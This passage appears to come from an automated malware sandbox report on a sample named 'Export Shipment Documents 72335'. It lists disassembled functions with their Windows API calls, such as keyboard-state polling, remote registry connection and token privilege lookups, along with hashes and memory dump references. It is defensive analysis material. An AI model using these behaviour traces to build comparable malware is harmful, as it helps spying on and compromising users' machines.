                                                                                                                                                                                                          • SendMessageW.USER32(?,00000402,?), ref: 0044941C
                                                                                                                                                                                                          • SendMessageW.USER32(004A83D8,000000C2,00000001,?), ref: 004494A0
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449515
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$CharNext
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1350042424-0
                                                                                                                                                                                                          • Opcode ID: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                                                                          • Instruction ID: cf19a455924c4199ae2d31ef2e344bdd2865620a2145bd440d1f5c61272ee54d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5D81B5312083019BE720DF15DC85FBBB7E4EBD9B20F00492EFA54962C0D7B99946D766
                                                                                                                                                                                                          Function 00453B94 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetKeyboardState.USER32(?,?,00000000), ref: 00453C0D
                                                                                                                                                                                                          • SetKeyboardState.USER32(?), ref: 00453C5A
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(000000A0), ref: 00453C82
                                                                                                                                                                                                          • GetKeyState.USER32(000000A0), ref: 00453C99
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(000000A1), ref: 00453CC9
                                                                                                                                                                                                          • GetKeyState.USER32(000000A1), ref: 00453CDA
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(00000011), ref: 00453D07
                                                                                                                                                                                                          • GetKeyState.USER32(00000011), ref: 00453D15
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(00000012), ref: 00453D3F
                                                                                                                                                                                                          • GetKeyState.USER32(00000012), ref: 00453D4D
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(0000005B), ref: 00453D77
                                                                                                                                                                                                          • GetKeyState.USER32(0000005B), ref: 00453D85
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: State$Async$Keyboard
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 541375521-0
                                                                                                                                                                                                          • Opcode ID: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                                                                          • Instruction ID: 09d2c23b2f41f951af40c960ff4fa7a39ed3d74d48f5bb091813d5d41b5bf946
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BD5108311497C42AF731EF6048217A7BBE45F52782F488D5EE9C107283E619AB0C976B
                                                                                                                                                                                                          Function 00437DB1 Relevance: 18.2, APIs: 12, Instructions: 180COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetDlgItem.USER32(?,00000001), ref: 00437DD7
                                                                                                                                                                                                          • GetWindowRect.USER32(00000000,?), ref: 00437DE9
                                                                                                                                                                                                          • MoveWindow.USER32(00000000,0000000A,?,?,?,00000000), ref: 00437E5C
                                                                                                                                                                                                          • GetDlgItem.USER32(?,00000002), ref: 00437E70
                                                                                                                                                                                                          • GetWindowRect.USER32(00000000,?), ref: 00437E82
                                                                                                                                                                                                          • MoveWindow.USER32(00000000,?,00000000,?,?,00000000), ref: 00437EDB
                                                                                                                                                                                                          • GetDlgItem.USER32(?,000003E9), ref: 00437EEA
                                                                                                                                                                                                          • GetWindowRect.USER32(00000000,?), ref: 00437EFC
                                                                                                                                                                                                          • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00437F46
                                                                                                                                                                                                          • GetDlgItem.USER32(?,000003EA), ref: 00437F55
                                                                                                                                                                                                          • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 00437F6E
                                                                                                                                                                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 00437F78
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$ItemMoveRect$Invalidate
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3096461208-0
                                                                                                                                                                                                          • Opcode ID: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                                                                                                                                          • Instruction ID: 6334a21bf5495bf578199e0a0c43900503e40640961724061e29feeedb49a886
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 46511CB16083069FC318DF68DD85A2BB7E9ABC8300F144A2DF985D3391E6B4ED058B95
                                                                                                                                                                                                          Function 00436879 Relevance: 18.1, APIs: 12, Instructions: 115COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 136442275-0
                                                                                                                                                                                                          • Opcode ID: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                                                                                                                          • Instruction ID: e47e2093bf76b35e8f1fec89578fc46911e8a4506192668d3a16ce6d5165f020
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 744124B2408345ABC235E754C885EEF73ECABD8314F44891EB68D42141EB796688C7A7
                                                                                                                                                                                                          Function 0046B39A Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 401registryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B479
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 535477410-2761332787
                                                                                                                                                                                                          • Opcode ID: e91c6bd909ad74ed1928ed0244ed8aa8a8dc52ba60fb0b240039b69f8a910896
                                                                                                                                                                                                          • Instruction ID: 7a368be733395892e28f24b11b3b05e85d853a2cd395d98498a1c99032eed9d9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e91c6bd909ad74ed1928ed0244ed8aa8a8dc52ba60fb0b240039b69f8a910896
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 63E171B1604200ABC714EF28C981F1BB7E4EF88704F148A1EF685DB381D779E945CB9A
                                                                                                                                                                                                          Function 00460473 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetClassNameW.USER32(?,?,00000400), ref: 004604B5
                                                                                                                                                                                                          • GetWindowTextW.USER32(?,?,00000400), ref: 004604F1
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00460502
                                                                                                                                                                                                          • CharUpperBuffW.USER32(?,00000000), ref: 00460510
                                                                                                                                                                                                          • GetClassNameW.USER32(?,?,00000400), ref: 00460589
                                                                                                                                                                                                          • GetWindowTextW.USER32(?,?,00000400), ref: 004605C2
                                                                                                                                                                                                          • GetClassNameW.USER32(?,?,00000400), ref: 00460606
                                                                                                                                                                                                          • GetClassNameW.USER32(?,?,00000400), ref: 0046063E
                                                                                                                                                                                                          • GetWindowRect.USER32(?,?), ref: 004606AD
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen
                                                                                                                                                                                                          • String ID: ThumbnailClass
                                                                                                                                                                                                          • API String ID: 4123061591-1241985126
                                                                                                                                                                                                          • Opcode ID: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                                                                                                                          • Instruction ID: b645ef8d54a60b7d8a856e9fdf4d8999e4c56e3b903fe9b51be5921097eabf2a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3F91B0715043019FDB14DF24C884BAB77A8EF84715F04896FFD85AA281E778E905CBAB
                                                                                                                                                                                                          Function 0046F50B Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 157windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00456354: GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                                                                            • Part of subcall function 00456354: ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                                                                            • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                                                                            • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                                                                          • DefDlgProcW.USER32(?,00000205,?,?,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F55F
                                                                                                                                                                                                          • ImageList_DragLeave.COMCTL32(00000000,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F57D
                                                                                                                                                                                                          • ImageList_EndDrag.COMCTL32 ref: 0046F583
                                                                                                                                                                                                          • ReleaseCapture.USER32 ref: 0046F589
                                                                                                                                                                                                          • SetWindowTextW.USER32(?,00000000), ref: 0046F620
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0046F630
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
                                                                                                                                                                                                          • String ID: @GUI_DRAGFILE$@GUI_DROPID$HH
                                                                                                                                                                                                          • API String ID: 2483343779-2060113733
                                                                                                                                                                                                          • Opcode ID: b963958ab96ed52e1c3ab3b45c628991f908dc465e455618a5f6fc8545d443fb
                                                                                                                                                                                                          • Instruction ID: 4b94e37398fb4c0e8bf176de98e3888209b69965db7f8e5b86c8cb252d1f017b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b963958ab96ed52e1c3ab3b45c628991f908dc465e455618a5f6fc8545d443fb
                                                                                                                                                                                                          • Instruction Fuzzy Hash: EB5106716043119BD700DF18DC85FAF77A5EB89310F04492EF941973A2DB789D49CBAA
                                                                                                                                                                                                          Function 0046FD7F Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 143windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 0046FD8A
                                                                                                                                                                                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,004A83D8,?), ref: 0046FDF0
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 0046FE0E
                                                                                                                                                                                                          • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?,004A83D8,?), ref: 0046FE20
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000113E,00000000,?), ref: 0046FEA5
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0046FEDF
                                                                                                                                                                                                          • GetClientRect.USER32(?,?), ref: 0046FEF2
                                                                                                                                                                                                          • RedrawWindow.USER32(?,?,00000000,00000000), ref: 0046FF02
                                                                                                                                                                                                          • DestroyIcon.USER32(?), ref: 0046FFCC
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: IconMessageSend$ImageList_$ClientCreateDestroyExtractRectRedrawReplaceWindow
                                                                                                                                                                                                          • String ID: 2
                                                                                                                                                                                                          • API String ID: 1331449709-450215437
                                                                                                                                                                                                          • Opcode ID: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                                                                                                                          • Instruction ID: e79942d1a0196d9b5e30c5c178d8ccafd59c9ae1e7fac48b8759c586c5a3b44e
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: EB51AC702043019FD320CF44D885BAABBE5FB88700F04487EE684872A2D7B5A849CB5A
                                                                                                                                                                                                          Function 004393E2 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 109threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439409
                                                                                                                                                                                                          • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 0043940C
                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?), ref: 0043941D
                                                                                                                                                                                                          • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 00439420
                                                                                                                                                                                                          • LookupPrivilegeValueW.ADVAPI32(00000000,SeAssignPrimaryTokenPrivilege,?), ref: 0043945B
                                                                                                                                                                                                          • LookupPrivilegeValueW.ADVAPI32(00000000,SeIncreaseQuotaPrivilege,?), ref: 00439474
                                                                                                                                                                                                          • _memcmp.LIBCMT ref: 004394A9
                                                                                                                                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004394F8
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          • SeIncreaseQuotaPrivilege, xrefs: 0043946A
                                                                                                                                                                                                          • SeAssignPrimaryTokenPrivilege, xrefs: 00439455
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread_memcmp
                                                                                                                                                                                                          • String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
                                                                                                                                                                                                          • API String ID: 1446985595-805462909
                                                                                                                                                                                                          • Opcode ID: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                                                                          • Instruction ID: 628aaead06b6f58e004e5b45c2ed9710a22b4d2b921ab75b424857e8fd72c9d6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: DB31A371508312ABC710DF21CD41AAFB7E8FB99704F04591EF98193240E7B8DD4ACBAA
                                                                                                                                                                                                          Function 0045D83D Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 86COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D848
                                                                                                                                                                                                          • GetDriveTypeW.KERNEL32(?,?), ref: 0045D8A3
                                                                                                                                                                                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D94A
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ErrorMode$DriveType
                                                                                                                                                                                                          • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$HH
                                                                                                                                                                                                          • API String ID: 2907320926-41864084
                                                                                                                                                                                                          • Opcode ID: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                                                                                                                          • Instruction ID: d4cab332979e247f8c2da9788294718902473fa09eb5ff996f03d25688ce9cbb
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: C7318B75A083008FC310EF65E48481EB7A1AFC8315F648D2FF945A7362C779D9068BAB
                                                                                                                                                                                                          Function 00467214 Relevance: 16.8, APIs: 11, Instructions: 313COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 004672E6
                                                                                                                                                                                                          • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046735D
                                                                                                                                                                                                          • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467375
                                                                                                                                                                                                          • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004673ED
                                                                                                                                                                                                          • SafeArrayGetVartype.OLEAUT32(CE8B7824,?), ref: 00467418
                                                                                                                                                                                                          • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467445
                                                                                                                                                                                                          • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046746A
                                                                                                                                                                                                          • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 00467559
                                                                                                                                                                                                          • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 0046748A
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                          • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467571
                                                                                                                                                                                                          • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004675E4
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ArraySafe$Data$AccessUnaccess$Exception@8ThrowVartype_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1932665248-0
                                                                                                                                                                                                          • Opcode ID: 16f99e80be173eecdd1bb573f6b7f825babaa5351af7cc3efc94bb11c862a2f8
                                                                                                                                                                                                          • Instruction ID: 42a0e90c8bf2b482c85e144861ec280134e9fb1dbd9e00a0d693b148f8e5f150
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 16f99e80be173eecdd1bb573f6b7f825babaa5351af7cc3efc94bb11c862a2f8
